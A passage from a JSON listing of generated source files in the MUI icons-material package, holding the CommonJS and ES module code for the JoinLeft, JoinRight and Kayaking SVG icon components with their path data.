0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.68 6.8c-.39-.35-.98-.35-1.37 0C9.35 8.56 9 10.84 9 12c0 1.15.35 3.44 2.32 5.2.39.35.98.35 1.37 0C14.65 15.44 15 13.16 15 12c0-1.15-.35-3.44-2.32-5.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.68 6.8c-.39-.35-.98-.35-1.37 0C9.35 8.56 9 10.84 9 12c0 1.15.35 3.44 2.32 5.2.39.35.98.35 1.37 0C14.65 15.44 15 13.16 15 12c0-1.15-.35-3.44-2.32-5.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12c0 .97-.23 4.16-3.03 6.5.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5M8 19c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7\"\n}, \"1\")], 'JoinRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12c0 .97-.23 4.16-3.03 6.5.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5M8 19c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7\"\n}, \"1\")], 'JoinRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12c0 .97-.23 4.16-3.03 6.5.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5M8 19c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7\"\n}, \"1\")], 'JoinRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12c0 .97-.23 4.16-3.03 6.5.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5M8 19c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7\"\n}, \"1\")], 'JoinRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.32 17.2c.39.35.98.35 1.37 0C14.65 15.44 15 13.16 15 12c0-1.15-.35-3.44-2.32-5.2-.39-.35-.98-.35-1.37 0C9.35 8.56 9 10.84 9 12c0 1.15.35 3.44 2.32 5.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12c0 .97-.23 4.16-3.03 6.5.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5M8 19c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7\"\n}, \"1\")], 'JoinRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.32 17.2c.39.35.98.35 1.37 0C14.65 15.44 15 13.16 15 12c0-1.15-.35-3.44-2.32-5.2-.39-.35-.98-.35-1.37 0C9.35 8.56 9 10.84 9 12c0 1.15.35 3.44 2.32 5.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12c0 .97-.23 4.16-3.03 6.5.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5M8 19c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7\"\n}, \"1\")], 'JoinRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12c0 .97-.23 4.16-3.03 6.5.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5M8 19c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7\"\n}, \"1\")], 'JoinRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12c0 .97-.23 4.16-3.03 6.5.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5M8 19c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7\"\n}, \"1\")], 'JoinRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12c0 .97-.23 4.16-3.03 6.5.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5M8 19c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7\"\n}, \"1\")], 'JoinRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12c0 .97-.23 4.16-3.03 6.5.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5M8 19c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7\"\n}, \"1\")], 'JoinRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Kayaking.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM12 5.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 12s-1.52.71-3.93 1.37c-.82-.23-1.53-.75-2.07-1.37-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.54.61-1.25 1.13-2.07 1.37C1.52 18.21 0 17.5 0 17.5s2.93-1.36 7.13-2.08l1.35-4.17c.31-.95 1.32-1.47 2.27-1.16.09.03.19.07.27.11l2.47 1.3 2.84-1.5 1.65-3.71-.51-1.32L18.8 2 22 3.43 20.67 6.4l-1.31.5-3.72 8.34c4.85.63 8.36 2.26 8.36 2.26m-8.98-4.54-1.52.8-1.75-.92-.71 2.17c.32 0 .64-.01.96-.01.71 0 1.4.03 2.07.08z\"\n}), 'Kayaking');"
  },
  {
    "path": "packages/mui-icons-material/lib/Kayaking.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM12 5.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 12s-1.52.71-3.93 1.37c-.82-.23-1.53-.75-2.07-1.37-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.54.61-1.25 1.13-2.07 1.37C1.52 18.21 0 17.5 0 17.5s2.93-1.36 7.13-2.08l1.35-4.17c.31-.95 1.32-1.47 2.27-1.16.09.03.19.07.27.11l2.47 1.3 2.84-1.5 1.65-3.71-.51-1.32L18.8 2 22 3.43 20.67 6.4l-1.31.5-3.72 8.34c4.85.63 8.36 2.26 8.36 2.26m-8.98-4.54-1.52.8-1.75-.92-.71 2.17c.32 0 .64-.01.96-.01.71 0 1.4.03 2.07.08z\"\n}), 'Kayaking');"
  },
  {
    "path": "packages/mui-icons-material/lib/KayakingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM12 5.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 12s-1.52.71-3.93 1.37c-.82-.23-1.53-.75-2.07-1.37-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.54.61-1.25 1.13-2.07 1.37C1.52 18.21 0 17.5 0 17.5s2.93-1.36 7.13-2.08l1.35-4.17c.31-.95 1.32-1.47 2.27-1.16.09.03.19.07.27.11l2.47 1.3 2.84-1.5 1.65-3.71-.51-1.32L18.8 2 22 3.43 20.67 6.4l-1.31.5-3.72 8.34c4.85.63 8.36 2.26 8.36 2.26m-8.98-4.54-1.52.8-1.75-.92-.71 2.17c.32 0 .64-.01.96-.01.71 0 1.4.03 2.07.08z\"\n}), 'KayakingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KayakingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM12 5.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 12s-1.52.71-3.93 1.37c-.82-.23-1.53-.75-2.07-1.37-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.54.61-1.25 1.13-2.07 1.37C1.52 18.21 0 17.5 0 17.5s2.93-1.36 7.13-2.08l1.35-4.17c.31-.95 1.32-1.47 2.27-1.16.09.03.19.07.27.11l2.47 1.3 2.84-1.5 1.65-3.71-.51-1.32L18.8 2 22 3.43 20.67 6.4l-1.31.5-3.72 8.34c4.85.63 8.36 2.26 8.36 2.26m-8.98-4.54-1.52.8-1.75-.92-.71 2.17c.32 0 .64-.01.96-.01.71 0 1.4.03 2.07.08z\"\n}), 'KayakingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KayakingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 22c0-.55.45-1 1-1 .87 0 1.73-.24 2.53-.7.29-.16.65-.17.94 0 1.59.9 3.48.9 5.06 0 .29-.16.65-.16.94 0 1.59.9 3.48.9 5.06 0 .29-.16.65-.16.94 0 .8.46 1.66.7 2.53.7.55 0 1 .45 1 1s-.45 1-1 1c-1.03 0-2.06-.25-3-.75-1.92 1.02-4.18 1-6.09-.05-1.79.87-3.92.98-5.58-.14C5.3 22.69 4.15 23 3 23c-.55 0-1-.45-1-1M12 5.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m9.47 12.95c-.42.14-.9.28-1.41.42-.53-.15-1.03-.43-1.45-.77-.35-.29-.87-.29-1.23 0-.66.53-1.48.9-2.38.9s-1.72-.37-2.39-.91c-.35-.28-.87-.28-1.22 0-.67.54-1.49.91-2.39.91s-1.72-.37-2.39-.91c-.35-.29-.87-.28-1.23 0-.43.35-.92.62-1.45.77-.51-.14-.98-.28-1.4-.42-.92-.3-.92-1.6 0-1.9 1.21-.39 2.79-.82 4.6-1.13l1.35-4.17c.31-.95 1.32-1.47 2.27-1.16.09.03.19.07.27.11l2.47 1.3 2.84-1.5 1.65-3.71-.36-.93c-.1-.25-.09-.52.02-.76l.74-1.68c.22-.51.82-.73 1.32-.51l1.37.61c.5.23.73.82.5 1.32l-.75 1.68c-.11.24-.31.43-.56.53l-.9.36-3.72 8.34c2.33.3 4.35.84 5.82 1.31.93.3.94 1.6.01 1.9m-6.45-5.49-.59.31c-.58.31-1.28.31-1.86 